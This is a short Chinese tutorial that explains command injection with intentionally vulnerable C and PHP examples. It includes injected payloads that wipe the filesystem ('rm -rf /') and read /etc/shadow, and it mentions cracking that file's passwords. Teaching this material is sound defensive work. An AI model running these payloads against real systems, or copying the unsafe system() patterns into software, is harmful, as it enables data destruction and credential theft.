命令注入攻击

命令注入攻击(command/shell injection)是通过目标主机上某个程序的漏洞来执行攻击者想要执行的命令。命令注入攻击常用在向程序传入不安全参数（命令行参数、http 头、cookie)。

下面看一个简单的例子：

下面这段代码包装了 cat 命令：

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
   char *cat = "cat ";

   int command_len = strlen(cat) + strlen(argv[1]) + 1;
   char *com = (char*) malloc(command_len);
   strncpy(com, cat, command_len);
   strncat(com, argv[1], command_len - strlen(cat));

   system(com);
   return 0;
}
```

正常执行，输出 show.txt 文件里的内容：

```
$ ./a.out show.txt
Hello World
```

上面的程序允许攻击者执行它想运行的命令，例如：

```
$ ./a.out "show.txt; ls -lah"
Hello World
total 6
drwxr-xr-x    19 tian    staff     646B Apr 13 10:04 .
drwx------+ 14 tian    staff     476B Mar 23 16:07 ..
-rw-r--r--@    1 tian    staff      14K Mar 26 17:35 .DS_Store
-rwxr-xr-x     1 tian    staff     8.4K Apr 13 10:02 a.out
-rw-r--r--     1 tian    staff      12B Apr 13 10:04 show.txt
-rw-r--r--     1 tian    staff     325B Apr 13 10:02 test.c
```

如果上面命令使用root运行，那么攻击者也就非常容易的获得了root权限：

```
# ./a.out "show.txt; rm -rf /"
# ./a.out "show.txt; cat /etc/shadow"
```

Linux 上最危险的 8 个命令

获得/etc/shadow 可以破解密码：Kali Linux：使用 John the Ripper 破解密码

命令注入攻击利用了程序对用户输入的信息没有做足够的检验。

利用环境变量实现命令注入攻击

CGI 工具里有如下代码：

```
    system("cd /var/yp && make &> /dev/null");
```

上面代码把参数写死了，那么上面通过传参的方法就不灵了。但是 make 命

令并没有使用绝对路径，也就是说你可以通过修改$PATH 环境变量指向自己要执行的同名 make。

看一个 PHP 代码

下面这段代码可以施行命令注入攻击，delete.php：

```
<?php
print("删除一个文件");
print("<p>");
$file=$_GET['filename'];
system("rm $file");
?>
```

执行请求：

http://something/delete.php?filename=some.png;ls

会执行 ls 命令。